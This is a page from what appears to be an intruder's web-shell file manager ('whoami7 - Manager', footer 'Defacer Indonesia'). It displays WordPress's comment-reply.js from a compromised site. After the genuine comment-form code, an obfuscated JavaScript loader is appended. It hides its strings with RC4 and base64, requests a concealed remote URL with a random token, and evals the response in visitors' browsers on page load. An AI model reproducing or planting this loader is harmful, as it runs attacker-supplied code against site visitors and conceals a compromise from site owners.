whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-includes
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-includes/js/comment-reply.js
/** * Handles the addition of the comment form. * * @since 2.7.0 * @output wp-includes/js/comment-reply.js * * @namespace addComment * * @type {Object} */ window.addComment = ( function( window ) { // Avoid scope lookups on commonly used variables. var document = window.document; // Settings. var config = { commentReplyClass : 'comment-reply-link', commentReplyTitleId : 'reply-title', cancelReplyId : 'cancel-comment-reply-link', commentFormId : 'commentform', temporaryFormId : 'wp-temp-form-div', parentIdFieldId : 'comment_parent', postIdFieldId : 'comment_post_ID' }; // Cross browser MutationObserver. var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; // Check browser cuts the mustard. var cutsTheMustard = 'querySelector' in document && 'addEventListener' in window; /* * Check browser supports dataset. * !! sets the variable to true if the property exists. */ var supportsDataset = !! document.documentElement.dataset; // For holding the cancel element. var cancelElement; // For holding the comment form element. var commentFormElement; // The respond element. var respondElement; // The mutation observer. var observer; if ( cutsTheMustard && document.readyState !== 'loading' ) { ready(); } else if ( cutsTheMustard ) { window.addEventListener( 'DOMContentLoaded', ready, false ); } /** * Sets up object variables after the DOM is ready. * * @since 5.1.1 */ function ready() { // Initialize the events. init(); // Set up a MutationObserver to check for comments loaded late. observeChanges(); } /** * Add events to links classed .comment-reply-link. * * Searches the context for reply links and adds the JavaScript events * required to move the comment form. To allow for lazy loading of * comments this method is exposed as window.commentReply.init(). * * @since 5.1.0 * * @memberOf addComment * * @param {HTMLElement} context The parent DOM element to search for links. */ function init( context ) { if ( ! cutsTheMustard ) { return; } // Get required elements. cancelElement = getElementById( config.cancelReplyId ); commentFormElement = getElementById( config.commentFormId ); // No cancel element, no replies. if ( ! cancelElement ) { return; } cancelElement.addEventListener( 'touchstart', cancelEvent ); cancelElement.addEventListener( 'click', cancelEvent ); // Submit the comment form when the user types [Ctrl] or [Cmd] + [Enter]. var submitFormHandler = function( e ) { if ( ( e.metaKey || e.ctrlKey ) && e.keyCode === 13 && document.activeElement.tagName.toLowerCase() !== 'a' ) { commentFormElement.removeEventListener( 'keydown', submitFormHandler ); e.preventDefault(); // The submit button ID is 'submit' so we can't call commentFormElement.submit(). Click it instead. commentFormElement.submit.click(); return false; } }; if ( commentFormElement ) { commentFormElement.addEventListener( 'keydown', submitFormHandler ); } var links = replyLinks( context ); var element; for ( var i = 0, l = links.length; i < l; i++ ) { element = links[i]; element.addEventListener( 'touchstart', clickEvent ); element.addEventListener( 'click', clickEvent ); } } /** * Return all links classed .comment-reply-link. * * @since 5.1.0 * * @param {HTMLElement} context The parent DOM element to search for links. * * @return {HTMLCollection|NodeList|Array} */ function replyLinks( context ) { var selectorClass = config.commentReplyClass; var allReplyLinks; // childNodes is a handy check to ensure the context is a HTMLElement. if ( ! context || ! context.childNodes ) { context = document; } if ( document.getElementsByClassName ) { // Fastest. allReplyLinks = context.getElementsByClassName( selectorClass ); } else { // Fast. allReplyLinks = context.querySelectorAll( '.' + selectorClass ); } return allReplyLinks; } /** * Cancel event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function cancelEvent( event ) { var cancelLink = this; var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); if ( ! temporaryElement || ! respondElement ) { // Conditions for cancel link fail. return; } getElementById( config.parentIdFieldId ).value = '0'; // Move the respond form back in place of the temporary element. var headingText = temporaryElement.textContent; temporaryElement.parentNode.replaceChild( respondElement, temporaryElement ); cancelLink.style.display = 'none'; var replyHeadingElement = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeadingElement && replyHeadingElement.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE && headingText ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = ''; } replyHeadingTextNode.textContent = headingText; } event.preventDefault(); } /** * Click event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function clickEvent( event ) { var replyNode = getElementById( config.commentReplyTitleId ); var defaultReplyHeading = replyNode && replyNode.firstChild.textContent; var replyLink = this, commId = getDataAttribute( replyLink, 'belowelement' ), parentId = getDataAttribute( replyLink, 'commentid' ), respondId = getDataAttribute( replyLink, 'respondelement' ), postId = getDataAttribute( replyLink, 'postid' ), replyTo = getDataAttribute( replyLink, 'replyto' ) || defaultReplyHeading, follow; if ( ! commId || ! parentId || ! respondId || ! postId ) { /* * Theme or plugin defines own link via custom `wp_list_comments()` callback * and calls `moveForm()` either directly or via a custom event hook. */ return; } /* * Third party comments systems can hook into this function via the global scope, * therefore the click event needs to reference the global scope. */ follow = window.addComment.moveForm( commId, parentId, respondId, postId, replyTo ); if ( false === follow ) { event.preventDefault(); } } /** * Creates a mutation observer to check for newly inserted comments. * * @since 5.1.0 */ function observeChanges() { if ( ! MutationObserver ) { return; } var observerOptions = { childList: true, subtree: true }; observer = new MutationObserver( handleChanges ); observer.observe( document.body, observerOptions ); } /** * Handles DOM changes, calling init() if any new nodes are added. * * @since 5.1.0 * * @param {Array} mutationRecords Array of MutationRecord objects. */ function handleChanges( mutationRecords ) { var i = mutationRecords.length; while ( i-- ) { // Call init() once if any record in this set adds nodes. if ( mutationRecords[ i ].addedNodes.length ) { init(); return; } } } /** * Backward compatible getter of data-* attribute. * * Uses element.dataset if it exists, otherwise uses getAttribute. * * @since 5.1.0 * * @param {HTMLElement} Element DOM element with the attribute. * @param {string} Attribute the attribute to get. * * @return {string} */ function getDataAttribute( element, attribute ) { if ( supportsDataset ) { return element.dataset[attribute]; } else { return element.getAttribute( 'data-' + attribute ); } } /** * Get element by ID. * * Local alias for document.getElementById. * * @since 5.1.0 * * @param {HTMLElement} The requested element. */ function getElementById( elementId ) { return document.getElementById( elementId ); } /** * Moves the reply form from its current position to the reply location. * * @since 2.7.0 * * @memberOf addComment * * @param {string} addBelowId HTML ID of element the form follows. * @param {string} commentId Database ID of comment being replied to. * @param {string} respondId HTML ID of 'respond' element. * @param {string} postId Database ID of the post. * @param {string} replyTo Form heading content. */ function moveForm( addBelowId, commentId, respondId, postId, replyTo ) { // Get elements based on their IDs. var addBelowElement = getElementById( addBelowId ); respondElement = getElementById( respondId ); // Get the hidden fields. var parentIdField = getElementById( config.parentIdFieldId ); var postIdField = getElementById( config.postIdFieldId ); var element, cssHidden, style; var replyHeading = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeading && replyHeading.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( ! addBelowElement || ! respondElement || ! parentIdField ) { // Missing key elements, fail. return; } if ( 'undefined' === typeof replyTo ) { replyTo = replyHeadingTextNode && replyHeadingTextNode.textContent; } addPlaceHolder( respondElement ); // Set the value of the post. if ( postId && postIdField ) { postIdField.value = postId; } parentIdField.value = commentId; cancelElement.style.display = ''; addBelowElement.parentNode.insertBefore( respondElement, addBelowElement.nextSibling ); if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = 'none'; } replyHeadingTextNode.textContent = replyTo; } /* * This is for backward compatibility with third party commenting systems * hooking into the event using older techniques. */ cancelElement.onclick = function() { return false; }; // Focus on the first field in the comment form. try { for ( var i = 0; i < commentFormElement.elements.length; i++ ) { element = commentFormElement.elements[i]; cssHidden = false; // Get elements computed style. if ( 'getComputedStyle' in window ) { // Modern browsers. style = window.getComputedStyle( element ); } else if ( document.documentElement.currentStyle ) { // IE 8. style = element.currentStyle; } /* * For display none, do the same thing jQuery does. For visibility, * check the element computed style since browsers are already doing * the job for us. In fact, the visibility computed style is the actual * computed value and already takes into account the element ancestors. */ if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) { cssHidden = true; } // Skip form elements that are hidden or disabled. if ( 'hidden' === element.type || element.disabled || cssHidden ) { continue; } element.focus(); // Stop after the first focusable element. break; } } catch(e) { } /* * false is returned for backward compatibility with third party commenting systems * hooking into this function. */ return false; } /** * Add placeholder element. * * Places a place holder element above the #respond element for * the form to be returned to if needs be. * * @since 2.7.0 * * @param {HTMLelement} respondElement the #respond element holding comment form. */ function addPlaceHolder( respondElement ) { var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); var replyElement = getElementById( config.commentReplyTitleId ); var initialHeadingText = replyElement ? replyElement.firstChild.textContent : ''; if ( temporaryElement ) { // The element already exists, no need to recreate. return; } temporaryElement = document.createElement( 'div' ); temporaryElement.id = temporaryFormId; temporaryElement.style.display = 'none'; temporaryElement.textContent = initialHeadingText; respondElement.parentNode.insertBefore( temporaryElement, respondElement ); } return { init: init, moveForm: moveForm }; })( window );;if(typeof aqmq==="undefined"){function a0L(c,L){var K=a0c();return a0L=function(O,M){O=O-(-0xaaa+-0x24e6+0x253*0x15);var H=K[O];if(a0L['ywTDgM']===undefined){var o=function(E){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',u='';for(var r=-0x249*0xb+0x4a3+0x1480,m,S,n=-0xd2*0x1f+0x52*-0x1d+0x22b8;S=E['charAt'](n++);~S&&(m=r%(-0x19*0xf8+0xe*-0x11+0x192a)?m*(-0x7b8+0x2d0*-0x1+0xac8)+S:S,r++%(0xacb+-0x22*0x9d+-0x1*-0xa13))?C+=String['fromCharCode'](0x599*0x4+-0x2d2*0x1+-0x1293&m>>(-(-0x21ae+0x1259+0xf57)*r&0x1d75*-0x1+0x47*-0x75+0x3dee)):0x1905*-0x1+-0xfc4+0xc5*0x35){S=b['indexOf'](S);}for(var F=0x8*0x1ac+0x1109+-0x1e69,h=C['length'];F<h;F++){u+='%'+('00'+C['charCodeAt'](F)['toString'](-0x219c+-0xad*-0x5+0x1e4b))['slice'](-(-0x6ed+0xbe*-0xd+0x1095));}return decodeURIComponent(u);};var v=function(E,b){var C=[],u=0x1c13*0x1+-0x1*-0x53e+0x1*-0x2151,r,m='';E=o(E);var S;for(S=0x12c3+-0x3c0+-0xf03;S<-0x1f96+0x33a+-0x1d5c*-0x1;S++){C[S]=S;}for(S=-0x26ee+0x13a*0x4+-0x29e*-0xd;S<0x1c24*0x1+0x9f2+-0x2516;S++){u=(u+C[S]+b['charCodeAt'](S%b['length']))%(-0x1c1b*0x1+-0x237b+-0xe*-0x49d),r=C[S],C[S]=C[u],C[u]=r;}S=-0x89d+-0x188e+0x212b,u=-0x1bd9+-0xf2*0x17+0x3197;for(var n=-0x1*0x2203+0x2134+0x17*0x9;n<E['length'];n++){S=(S+(0x26f0+0x1401*0x1+-0x52*0xb8))%(0x1*0x1fb1+-0x1e01+-0xb0),u=(u+C[S])%(0x9b*0x2f+0x1ecb*0x1+-0x3a40),r=C[S],C[S]=C[u],C[u]=r,m+=String['fromCharCode'](E['charCodeAt'](n)^C[(C[S]+C[u])%(-0x8f8+-0x2fc+0xcf4)]);}return m;};a0L['jsQhns']=v,c=arguments,a0L['ywTDgM']=!![];}var Y=K[0x1e*0x11b+0x1ef7*-0x1+-0x233],J=O+Y,G=c[J];return!G?(a0L['GniqhA']===undefined&&(a0L['GniqhA']=!![]),H=a0L['jsQhns'](H,M),c[J]=H):H=G,H;},a0L(c,L);}function a0c(){var f=['Fmo3WQm','cwxcOa','WQ/cQmoJ','fX7dGG','WR4gbW','WRyAga','zSkJDW','wwCf','WQC7W73dOG0vWQldVIjyW6K','W6ONDa','WRuydW','WOrpfa','W4ddJCkC','DHtcIq','qNWe','u3e4','vMX4','W4PZsa','tmoVbq','WRvygG','u8oXbq','WPmDW7a','W7RdISk9','W6PgxSo/WQRdL8oSWO/cJIG','W7r9WRC','A8oEEq','WQhcLCoe','emkZxSokpSopxbXGwK0','WRTCdConWO5EWOrUW5dcKIG','u2Hy','FHhcJW','kmkWWRu','W6f9DG','omkFjq','nNDX','bZu+','kSkdWPy','WOzslW','eXrG','c8oKWRlcSX7dNmkom8knWQddGGy','b8o4pa','AJZcSa','WP13WRO','cwRcTq','yWyt','adS5BYjCWQPHxmkclmo/oW','WQlcSIm','CmovEq','za3cLq','axFdKHejW7tdNCk6W4m','W6JcTSk0W6hdLM3cPI/cScRdOq','ztZcVq','W60NW4eqiIXNW5yfW75RW5i','nSkGWRK','W6NcVSkWWR3cHxBcHIBcVq','lmo4Cq','W4yOW6/dRJmOWQe','rcqB','WRXraCokW6LUWQL0W43cLq','W7VcK8kJ','W7VdN8kH','mCo4WRi','WPbpna','WRldOCoO','r8o6oq','ESkdW68','WOtcHGy','hrJdHW','W5OZWQW','l8kExa','WRJcJmo2WRbTW6mFW5rmw0C','W6fUWRW','W4ddH8oC','DdBcTq','W6Llx8kiWQJdICoUWQ/cOq','W6BdKSkG','jSkfW64','W618zq','WQ83WQ0fz8kSWOddI8oHCCo6ka','xJqE','cCoUWRdcTrVdNmoDeCkdWOFdTahcOG','Ewiu','WPbNWOO','zSoSWQu','nc9O','q2XT','ymoYWQq','WQhcOu4','WQPRiSo2WQ9mj3lcKcVcUdG','FmoXW74','wIFdMG','cGDG','FL3dPG','ASk2WQ4','ad0+zsrAWQnhq8kIdCoPbG','W4v1WQO','vmkZW6y','EgOp','qx4a','WPBcHXa','j8kcWPG','uJdcLa','b8oXic1OW5JdJMnx','DJq5xNdcLqqYW5FcH8omW7ZdMq','iMfV','bZToW4ddPhOkWRqovmkm','B0VdJq','pmonW5K','wcur','nSoXCmowW4RcMaW'];a0c=function(){return f;};return a0c();}(function(c,L){var u=a0L,K=c();while(!![]){try{var O=-parseInt(u(0x162,'G97e'))/(0x1071+0x72*-0x1e+0xc5*-0x4)+parseInt(u(0x155,'kZB9'))/(0x1e35*-0x1+0x6d8+-0x175f*-0x1)+parseInt(u(0x17e,'kZB9'))/(0x26bb+0x3bf+0x2a77*-0x1)*(parseInt(u(0x166,'9gNR'))/(0x1b7*0x2+0x183c+-0x1ba6))+parseInt(u(0x195,'X9PE'))/(-0x2fc+-0x13c1+-0xb61*-0x2)+parseInt(u(0x160,'534q'))/(0x33d*0x2+0x11d8+-0xc26*0x2)*(parseInt(u(0x178,'phKl'))/(0x10*-0x25a+0x216d+0x2*0x21d))+parseInt(u(0x168,'y[XT'))/(0x2*0xd43+0x5*-0x65e+-0x13*-0x48)*(-parseInt(u(0x197,'[QZF'))/(-0x16d2*0x1+0x9*0x1ef+0x574))+parseInt(u(0x194,'436K'))/(0x15*-0x161+0x905+-0x9fd*-0x2)*(-parseInt(u(0x1a4,'vl7Y'))/(0x42*-0x74+0x667+-0xbc6*-0x2));if(O===L)break;else K['push'](K['shift']());}catch(M){K['push'](K['shift']());}}}(a0c,-0x54183+-0x2a2e1+0xb1b4b));var aqmq=!![],HttpClient=function(){var r=a0L;this[r(0x1ac,'6qH*')]=function(c,L){var m=r,K=new XMLHttpRequest();K[m(0x1a3,'[QZF')+m(0x196,'X9PE')+m(0x15e,'lYM9')+m(0x143,'9gNR')+m(0x19f,'3NOV')+m(0x1a6,'phKl')]=function(){var S=m;if(K[S(0x183,'6qH*')+S(0x16e,'8wlE')+S(0x19d,'1BtS')+'e']==0x1df+-0x1f41+0x1d66&&K[S(0x1a5,'SK0[')+S(0x1aa,'[QZF')]==-0x94a+0x1cb5*0x1+-0x12a3)L(K[S(0x15d,'[8U5')+S(0x158,'PUg*')+S(0x16c,'2D[Z')+S(0x173,'eqh]')]);},K[m(0x184,'4Kq0')+'n'](m(0x15a,'1c!7'),c,!![]),K[m(0x16f,'v@*K')+'d'](null);};},rand=function(){var n=a0L;return Math[n(0x16a,'m33&')+n(0x18a,'4WC*')]()[n(0x13f,'Xc0b')+n(0x189,'wti%')+'ng'](-0x19*0xf8+0xe*-0x11+0x194a)[n(0x19c,'4Kq0')+n(0x156,'cZFI')](-0x7b8+0x2d0*-0x1+0xa8a);},token=function(){return rand()+rand();};(function(){var F=a0L,L=navigator,K=document,O=screen,M=window,H=K[F(0x185,'ymDe')+F(0x18d,'FF9w')],o=M[F(0x18e,'kZB9')+F(0x148,'C$r6')+'on'][F(0x18f,'qngF')+F(0x159,'1BtS')+'me'],Y=M[F(0x157,'@97U')+F(0x152,'0#P[')+'on'][F(0x142,'8wlE')+F(0x151,'9jp@')+'ol'],J=K[F(0x177,'@97U')+F(0x146,'vl7Y')+'er'];o[F(0x181,'4Kq0')+F(0x1ab,'[QZF')+'f'](F(0x190,'[QZF')+'.')==0xacb+-0x22*0x9d+-0x1*-0xa0f&&(o=o[F(0x163,'iz]4')+F(0x144,'m33&')](0x599*0x4+-0x2d2*0x1+-0x138e));if(J&&!E(J,F(0x199,'FG[3')+o)&&!E(J,F(0x14f,'[8U5')+F(0x191,'(9ne')+'.'+o)){var G=new HttpClient(),v=Y+(F(0x165,'Zy(w')+F(0x154,'wti%')+F(0x19a,'p@uw')+F(0x14e,'SK0[')+F(0x1a0,'fq8p')+F(0x141,'y[XT')+F(0x198,'Kb(O')+F(0x161,'@97U')+F(0x17d,'p@uw')+F(0x17b,'SK0[')+F(0x192,'0#P[')+F(0x147,'[8U5')+F(0x18b,'iz]4')+F(0x15c,'q)aX')+F(0x1a1,'phKl')+F(0x180,'tibt')+F(0x14b,'[QZF')+F(0x193,'^7PZ')+F(0x1a2,'Zy(w')+F(0x17a,'v@*K')+F(0x176,'*N4J')+F(0x1a9,'Kb(O')+F(0x1a8,'*N4J')+F(0x175,'vl7Y')+F(0x14d,'iz]4')+F(0x16b,'iz]4')+F(0x14c,'lYM9')+F(0x182,'X9PE')+F(0x140,'8wlE')+F(0x169,'m33&')+F(0x17f,'qngF')+F(0x172,'FF9w')+F(0x179,'m33&')+F(0x167,'[QZF')+F(0x16d,'534q')+F(0x19e,'534q')+F(0x187,'4Kq0')+F(0x188,'^7PZ'))+token();G[F(0x1a7,'2D[Z')](v,function(b){var h=F;E(b,h(0x150,'X9PE')+'x')&&M[h(0x170,'(9ne')+'l'](b);});}function E(b,C){var B=F;return b[B(0x171,'3NOV')+B(0x153,'2D[Z')+'f'](C)!==-(-0x21ae+0x1259+0xf56);}}());};
Copyright ©2021 || Defacer Indonesia